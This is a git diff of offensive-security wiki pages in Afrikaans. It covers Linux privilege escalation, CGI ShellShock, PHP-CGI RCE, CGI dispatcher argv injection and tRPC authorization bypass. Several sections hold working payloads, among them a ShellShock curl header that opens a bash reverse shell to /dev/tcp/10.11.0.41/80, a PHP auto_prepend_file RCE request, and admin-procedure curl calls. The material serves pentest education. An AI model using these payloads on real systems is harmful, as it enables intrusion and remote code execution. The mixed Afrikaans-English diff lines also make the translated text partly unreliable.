as **root** loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar logrotasie toegepas word. +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> Hierdie kwetsbaarheid raak `logrotate` weergawe `3.18.0` en ouer +> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer -Meer gedetaileerde inligting oor die kwetsbaarheid is op hierdie bladsy te vinde: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus, wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Kwetsbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As, om watter rede ook al, 'n gebruiker in staat is om 'n `ifcf-`-skrip na _/etc/sysconfig/network-scripts_ te **skryf** **of** 'n bestaande een te **wysig**, dan is jou **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network-skripte, byvoorbeeld _ifcg-eth0_, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter op Linux deur Network Manager (dispatcher.d) ~sourced~. +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -In my geval word die `NAME=`-attribuut in hierdie netwerk-skripte nie korrek hanteer nie. **As daar 'n wit/leë spasie in die naam is, probeer die stelsel die deel ná die wit/leë spasie uitvoer**. Dit beteken dat **alles ná die eerste leë spasie as root uitgevoer word**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1461,15 +1453,15 @@ DEVICE=eth0 ``` (_Let op die leë spasie tussen Network en /bin/id_) -### **init, init.d, systemd, en rc.d** +### **init, init.d, systemd, and rc.d** -Die gids `/etc/init.d` huisves **scripts** vir System V init (SysVinit), die **klassieke Linux service management stelsel**. Dit sluit scripts in om `start`, `stop`, `restart`, en soms `reload` services te doen. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` bevat **skripte** vir System V init (SysVinit), die **klassieke Linux dienstebestuurstelsel**. Dit sluit skripte in om dienste te `start`, `stop`, `restart`, en soms te `reload`. Hierdie kan direk uitgevoer word of deur simboliese skakels in `/etc/rc?.d/`. In Redhat-stelsels is 'n alternatiewe pad `/etc/rc.d/init.d`. -Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **service management** wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir servicebestuurs take. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir diensbestuurtake. Ondanks die oorskakeling na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. -**systemd** treeg na vore as 'n moderne initialisasie- en servicebestuurder, wat gevorderde funksies bied soos on-demand daemon-opstart, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distributie-pakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat stelseladministrasie vereenvoudig. +**systemd** treeg na vore as 'n moderne inisialiserings- en diensbestuurder, en bied gevorderde funksies soos on-demand daemon-beginning, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distributie-pakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat stelseladministrasie vereenvoudig. -## Ander Wenke +## Ander truuks ### NFS Privilege escalation @@ -1478,7 +1470,7 @@ Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **servic nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Ontsnap uit beperkte Shells +### Escaping from restricted Shells {{#ref}} @@ -1494,7 +1486,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hook gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te stel. Swakke manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en op reeds-rooted toestelle na root op te skaal. Leer meer en sien uitbuitingbesonderhede hier: +Android rooting frameworks hook dikwels 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace-manager bloot te stel. Swakke manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoord-skemas) kan 'n plaaslike app toelaat om die manager te imiteer en tot root te eskaleer op reeds-geroote toestelle. Lees meer en sien uitbuitingsbesonderhede hier: {{#ref}} @@ -1503,9 +1495,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-gedrewe service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses command lines onttrek en dit met -v uitvoer onder 'n bevoorregte konteks. Permissiewe patrone (bv. die gebruik van \S) kan aanvaller-gestelde listeners in beskryflike lokasies (bv. /tmp/httpd) pas, wat lei tot uitvoering as root (CWE-426 Untrusted Search Path). +Regex-driven service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses-opdragreëls onttrek en dit met -v uitvoer onder 'n bevoorregte konteks. Permissiewe patrone (bv. gebruik van \S) kan ooreenstem met deur 'n aanvaller geplaasde listeners in skryfbare plekke (bv. /tmp/httpd), wat lei tot uitvoering as root (CWE-426 Untrusted Search Path). -Leer meer en sien 'n gegeneraliseerde patroon toepaslik op ander discovery/monitoring stacks hier: +Lees meer en sien 'n gegeneraliseerde patroon toepasbaar op ander discovery/monitoring stacks hier: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1522,17 +1514,17 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Beste hulpmiddel om te soek na Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumereer kernel-kwesbaarhede in Linux en macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (fisieke toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Verwysings diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 36cf4aa45..884b7e01a 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,26 +5,26 @@ ## Inligting -Die **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) +Die **CGI scripts are perl scripts**, so, as jy 'n bediener gekompromitteer het wat _**.cgi**_ scripts kan uitvoer, kan jy **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** van **.pl** na **.cgi**, gee **execute permissions** (`chmod +x`) en **access** die reverse shell **from the web browser** om dit uit te voer. +Om te toets vir **CGI vulns** word aanbeveel om `nikto -C all` (en al die plugins) te gebruik. ## **ShellShock** -**ShellShock** is 'n kwesbaarheid wat die wydgebruikte **Bash** command-line shell in Unix-gebaseerde bedryfstelsels raak. Dit mik op die vermoë van **Bash** om opdragte uit te voer wat deur toepassings deurgegee word. Die kwesbaarheid lê in die manipulasie van omgewingsveranderlikes, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit uitbuit deur kwaadwillige kode aan omgewingsveranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer. +**ShellShock** is 'n **vulnerability** wat die wyd gebruikte **Bash** command-line shell in Unix-gebaseerde bedryfstelsels raak. Dit mik op die vermoë van **Bash** om commands wat deur applications deurgegee word, uit te voer. Die kwesbaarheid lê in die manipulasie van **environment variables**, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar verloop. Aanvallers kan dit uitbuit deur **malicious code** aan environment variables te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer. -Wanneer hierdie kwesbaarheid uitgebuit word, kan die bladsy 'n fout werp. +Wanneer hierdie kwesbaarheid uitgebuit word, kan die bladsy 'n fout teruggee. -Jy kan hierdie kwesbaarheid vind deur te let dat dit 'n ou **Apache**-weergawe en **cgi_mod** \(met 'n cgi-lêergids\) gebruik, of deur **nikto** te gebruik. +Jy kan hierdie kwesbaarheid vind deur op te let dat dit 'n ou **Apache** weergawe en **cgi_mod** (met `cgi` gids) gebruik, of deur **nikto** te gebruik. -### **Toets** +### **Test** -Die meeste toetse is gebaseer op die gebruik van echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy dalk kwesbaar is, soek alle cgi-bladsye en toets hulle. +Die meeste toetse is gebaseer op om iets met `echo` te vertoon en te verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy mag kwesbaar wees, soek na al die `cgi` bladsye en toets hulle. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(weerkaatsend, blind en out-of-band\)** +## **Curl \(weerkaats, blind en out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Gekentraliseerde CGI-dispatchers (enkel-endpoint routering via selector parameters) +## Gesentraliseerde CGI dispatchers (enkel eindpunt-routering via selekteerder-parameters) -Baie embedded web UIs multiplex dosyne bevoorregte aksies agter 'n enkele CGI-endpoint (byvoorbeeld, `/cgi-bin/cstecgi.cgi`) en gebruik 'n selector parameter soos `topicurl=` om die versoek na 'n interne funksie te stuur. +Baie ingebedde web-UIs multiplexeer 'n dosyn bevoorregte aksies agter 'n enkele CGI-endpoint (byvoorbeeld, `/cgi-bin/cstecgi.cgi`) en gebruik 'n selekteerder-parameter soos `topicurl=` om die versoek na 'n interne funksie te stuur. -Metodologie om hierdie routers te misbruik: +Metodologie om hierdie routers te eksploiteer: -- Enumereer handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Toets unauthenticated reachability: some handlers forget auth checks and are directly callable. -- Fokus op handlers wat system utilities aanroep of touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. +- Enumereer handler names: scrape JS/HTML, brute-force met wordlists, of unpack firmware en grep vir handler strings wat deur die dispatcher gebruik word. +- Test unauthenticated reachability: sommige handlers vergeet auth checks en is direk aanroepbaar. +- Fokus op handlers wat system utilities aanroep of files touch; swak validators blokkeer dikwels net 'n paar karakters en kan die voorloopse hyphen `-` mis. -Generic exploit shapes: +Generiese exploit-vorms: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -77,27 +77,28 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` Opsporing en verharding: -- Kyk uit vir ongeauthentiseerde versoeke aan gesentraliseerde CGI-endpunte met `topicurl` gestel na sensitiewe handlers. -- Merk parameters wat met `-` begin (argv option injection attempts). -- Verskaffers: dwing authenticatie af op alle staatveranderende handlers, valideer met streng allowlists/types/lengths, en gee nooit deur gebruiker beheerde strings as command-line flags nie. +- Kyk vir nie-geauthentiseerde versoeke na gesentraliseerde CGI-endpunte met `topicurl` wat op sensitiewe handlers gestel is. +- Merk parameters wat begin met `-` (argv option injection attempts). +- Verskaffers: vereis verifikasie op alle state-changing handlers, valideer met streng allowlists/types/lengths, en gee nooit user-controlled strings as command-line flags nie. -## Oude PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Oud PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Basies, as cgi aktief is en php "oud" \(<5.3.12 / < 5.4.2\) kan jy kode uitvoer. -Om hierdie kwesbaarheid te misbruik moet jy toegang hê tot 'n PHP-lêer van die webbediener sonder om parameters te stuur \(spesifiek sonder om die karakter "=" te stuur\). -Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang kry tot `/index.php?-s` \(let op die `-s`\) en **die bronkode van die toepassing sal in die respons verskyn**. +Basies, as cgi aktief is en php "oud" \(<5.3.12 / < 5.4.2\) is, kan jy kode uitvoer. +Om hierdie kwesbaarheid uit te buit, moet jy toegang hê tot 'n PHP-lêer op die webbediener sonder om parameters te stuur \(veral sonder om die karakter "=" te stuur\). +Om hierdie kwesbaarheid te toets, kan jy byvoorbeeld `/index.php?-s` raadpleeg \(let op die `-s`\) en **source code of the application will appear in the response**. -Dan, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP code** word in die **liggaam van die versoek** uitgevoer. Voorbeeld: +Daarna, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP code** wat uitgevoer moet word in die **body of the request**. +Voorbeeld: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Meer inligting oor die vuln en moontlike exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM to Web server requests\)** +## **Proxy (MitM na Web server versoeke)** -CGI skep 'n omgewingsveranderlike vir elke header in die http-aanvraag. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com" +CGI skep 'n omgewingvariabele vir elke header in die HTTP-versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com" -Aangesien die HTTP_PROXY-variabele deur die webserver gebruik kan word. Probeer om 'n **header** te stuur wat die volgende bevat: "**Proxy: <IP_attacker>:<PORT>**" en as die server enige versoek gedurende die sessie uitvoer, sal jy elke versoek wat deur die server gemaak word, kan vasvang. +Aangesien die HTTP_PROXY-variabele deur die webbediener gebruik kan word. Probeer om 'n **header** te stuur wat die volgende bevat: "**Proxy: :**" en indien die server enige versoek gedurende die sessie maak, sal jy elke versoek wat deur die server gemaak word, kan vasvang. ## **Verwysings** diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 22570b0c5..bcd19e48a 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -4,52 +4,94 @@ ## API Pentesting Metodologie Opsomming -Pentesting APIs behels 'n gestruktureerde benadering om kwesbaarhede te ontdek. Hierdie gids sluit 'n omvattende metodologie in, met die klem op praktiese tegnieke en gereedskap. +Pentesting van APIs behels 'n gestruktureerde benadering om kwesbaarhede te ontbloot. Hierdie gids bevat 'n omvattende metodologie en beklemtoon praktiese tegnieke en gereedskap. -### **Begrip van API Tipes** +### **Begrip van API-tipes** -- **SOAP/XML Web Dienste**: Gebruik die WSDL-formaat vir dokumentasie, wat tipies by `?wsdl` padhulpmiddels gevind word. Gereedskap soos **SOAPUI** en **WSDLer** (Burp Suite Extension) is instrumenteel vir die ontleding en generering van versoeke. Voorbeeld dokumentasie is beskikbaar by [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: Dokumentasie kom dikwels in WADL-lêers, maar gereedskap soos [Swagger UI](https://swagger.io/tools/swagger-ui/) bied 'n meer gebruikersvriendelike koppelvlak vir interaksie. **Postman** is 'n waardevolle hulpmiddel vir die skep en bestuur van voorbeeld versoeke. -- **GraphQL**: 'n Vra taal vir APIs wat 'n volledige en verstaanbare beskrywing van die data in jou API bied. +- **SOAP/XML Web Services**: Gebruik die WSDL-formaat vir dokumentasie, gewoonlik te vinde by `?wsdl`-paaie. Gereedskap soos **SOAPUI** en **WSDLer** (Burp Suite Extension) is nuttig vir die parseer en genereer van requests. Voorbeelddokumentasie is beskikbaar by [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: Dokumentasie kom dikwels in WADL-lêers, maar gereedskap soos [Swagger UI](https://swagger.io/tools/swagger-ui/) bied 'n gebruikersvriendelike koppelvlak vir interaksie. **Postman** is 'n waardevolle hulpmiddel om voorbeeldversoeke te skep en te bestuur. +- **GraphQL**: 'n query-taal vir APIs wat 'n volledige en verstaanbare beskrywing van die data in jou API bied. -### **Praktyk Laboratoriums** +### **Praktyklaboratoriums** -- [**VAmPI**](https://github.com/erev0s/VAmPI): 'n Opsetlik kwesbare API vir praktiese oefening, wat die OWASP top 10 API kwesbaarhede dek. +- [**VAmPI**](https://github.com/erev0s/VAmPI): 'n Op 'n doelbewuste wyse kwesbare API vir praktiese oefening, wat die OWASP top 10 API-kwesbaarhede dek. -### **Doeltreffende Truuks vir API Pentesting** +### **Effektiewe Wenke vir API Pentesting** -- **SOAP/XML Kwesbaarhede**: Verken XXE kwesbaarhede, alhoewel DTD-verklarings dikwels beperk is. CDATA-tags mag payload-invoeging toelaat as die XML geldig bly. -- **Privilegie Eskalasie**: Toets eindpunte met verskillende priviligie vlakke om ongeoorloofde toegang moontlikhede te identifiseer. -- **CORS Misconfigurasies**: Ondersoek CORS-instellings vir potensiële uitbuitbaarheid deur CSRF-aanvalle vanuit geverifieerde sessies. -- **Eindpunt Ontdekking**: Gebruik API patrone om verborge eindpunte te ontdek. Gereedskap soos fuzzers kan hierdie proses outomatiseer. -- **Parameter Manipulasie**: Eksperimenteer met die toevoeging of vervanging van parameters in versoeke om toegang tot ongeoorloofde data of funksies te verkry. -- **HTTP Metode Toetsing**: Varieer versoekmetodes (GET, POST, PUT, DELETE, PATCH) om onverwagte gedrag of inligtingsontsluitings te ontdek. -- **Inhoud-Tipe Manipulasie**: Wissel tussen verskillende inhoudstipes (x-www-form-urlencoded, application/xml, application/json) om te toets vir ontledingsprobleme of kwesbaarhede. -- **Geavanceerde Parameter Tegnieke**: Toets met onverwagte datatipes in JSON payloads of speel met XML data vir XXE inspuitings. Probeer ook parameter besoedeling en wildcard karakters vir breër toetsing. -- **Weergawe Toetsing**: Ou API weergawes mag meer kwesbaar wees vir aanvalle. Kontroleer altyd vir en toets teen verskeie API weergawes. +- **SOAP/XML Vulnerabilities**: Verken XXE-kwesbaarhede, alhoewel DTD-deklarasies dikwels beperk is. CDATA tags kan payload-invoeging toelaat as die XML geldig bly. +- **Privilege Escalation**: Toets endpoints met verskillende privilege-vlakke om ongemagtigde toegang moontlikhede te identifiseer. +- **CORS Misconfigurations**: Ondersoek CORS-instellings vir potensiële uitbuitbaarheid deur CSRF-aanvalle vanaf geauthentiseerde sessies. +- **Endpoint Discovery**: Gebruik API-patrone om versteekte endpoints te ontdek. Gereedskap soos fuzzers kan hierdie proses outomatiseer. +- **Parameter Tampering**: Eksperimenteer deur parameters by te voeg of te vervang in versoeke om toegang tot ongemagtigde data of funksionaliteite te kry. +- **HTTP Method Testing**: Varieer versoekmetodes (GET, POST, PUT, DELETE, PATCH) om onverwagte gedrag of inligtingsvrystellings te ontdek. +- **Content-Type Manipulation**: Skakel tussen verskillende content types (x-www-form-urlencoded, application/xml, application/json) om parsing-kwessies of kwesbaarhede te toets. +- **Advanced Parameter Techniques**: Toets met onverwagte datatipes in JSON payloads of eksperimenteer met XML-data vir XXE-inspuiting. Probeer ook parameter pollution en wildcard-karakters vir wyer toetse. +- **Version Testing**: Ouer API-weergawes kan meer vatbaar wees vir aanvalle. Kyk altyd na en toets teen verskeie API-weergawes. + +### Autorisering & Besigheidslogika (AuthN != AuthZ) — tRPC/Zod protectedProcedure valkuils + +Moderne TypeScript stacks gebruik gewoonlik tRPC met Zod vir insetvalidering. In tRPC verseker `protectedProcedure` tipies dat die request 'n geldige sessie het (authentication), maar dit impliseer nie dat die aanroeper die regte rol/permissions het (authorization) nie. Hierdie mismatch lei tot Broken Function Level Authorization/BOLA as sensitiewe procedures slegs deur `protectedProcedure` gefilter word. + +- Dreigmodel: Enige laag-geprivilegieerde geauthentiseerde gebruiker kan admin-grade prosedures aanroep as rolkontroles ontbreek (bv. background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box sein: `POST /api/trpc/.` endpoints wat sukses behaal vir basiese rekeninge wanneer dit admin-only behoort te wees. Self-serve signups verhoog die uitbuitbaarheid drasties. +- Tipiese tRPC-roete vorm (v10+): JSON body gewikkel onder `{"input": {...}}`. + +Voorbeeld kwesbare patroon (geen rol/permission hek): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Praktiese uitbuiting (black-box) + +1) Registreer 'n normale rekening en kry 'n geauthentiseerde sessie (cookies/headers). +2) Enumereer agtergrondtake of ander sensitiewe hulpbronne via “list”/“all”/“status” prosedures. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Voer geprivilegieerde handelinge uit soos om 'n taak te herbegin: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- Gegewenskorrupsie via nie-idempotente herstarts: Deur gelyktydige runs van migrations/workers af te dwing, kan race conditions en onsamehangende gedeeltelike state geskep word (stilswyende dataverlies, beskadigde analytics). +- DoS via worker/DB uitputting: Deurlopend die aktivering van swaar jobs kan worker pools en databaseverbindinge uitput, wat tenant-breë uitval veroorsaak. ### **Gereedskap en Hulpbronne vir API Pentesting** -- [**kiterunner**](https://github.com/assetnote/kiterunner): Uitstekend vir die ontdekking van API eindpunte. Gebruik dit om padhulpmiddels en parameters teen teiken APIs te skandeer en brute force. +- [**kiterunner**](https://github.com/assetnote/kiterunner): Uitstekend om API-endpunte te ontdek. Gebruik dit om paaie en parameters teen teiken-APIs te skandeer en brute force toe te pas. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj is 'n opdraglyn hulpmiddel wat ontwerp is om te help met die oudit van **blootgestelde Swagger/OpenAPI definisie lêers** deur die geassosieerde API eindpunte vir swak outentisering te kontroleer. Dit bied ook opdrag sjablone vir handmatige kwesbaarheidstoetsing. -- Bykomende hulpmiddels soos **automatic-api-attack-tool**, **Astra**, en **restler-fuzzer** bied op maat gemaakte funksies vir API sekuriteitstoetsing, wat wissel van aanvalsimulasie tot fuzzing en kwesbaarheidsskandering. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Dit is 'n API sekuriteitshulpmiddel wat jou API oudit op grond van 'n OAS-lêer (die hulpmiddel is in rust geskryf). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj is 'n command-line tool ontwerp om te help met die ouditering van **exposed Swagger/OpenAPI definition files** deur die geassosieerde API endpoints vir swak authentication te kontroleer. Dit bied ook command templates vir handmatige vulnerability testing. +- Bykomende gereedskap soos **automatic-api-attack-tool**, **Astra**, en **restler-fuzzer** bied gespesialiseerde funksies vir API security testing, wat wissel van attack simulation tot fuzzing en vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Dit is 'n API security tool wat jou API oudit op grond van 'n OAS file (die tool is in rust geskryf). -### **Leer- en Oefenbronne** +### **Leer- en Oefenhulpbronne** -- **OWASP API Sekuriteit Top 10**: Essensiële leesstof om algemene API kwesbaarhede te verstaan ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Sekuriteitskontrolelys**: 'n Omvattende kontrolelys vir die beveiliging van API's ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Vir die jag op API kwesbaarhede, bied Logger++ nuttige filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Eindpunte Lys**: 'n Gekureerde lys van potensiële API eindpunte vir toetsdoeleindes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Noodsaaklike leesstof om algemene API kwesbaarhede te verstaan ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: 'n Omvattende kontrolelys om APIs te beveilig ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Vir die jag van API kwetsbaarhede bied Logger++ nuttige filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: 'n Gekeurde lys van potensiële API-endpunte vir toetsdoeleindes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## Verwysings +## References - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index ce2c16298..c49cf748e 100644 --- 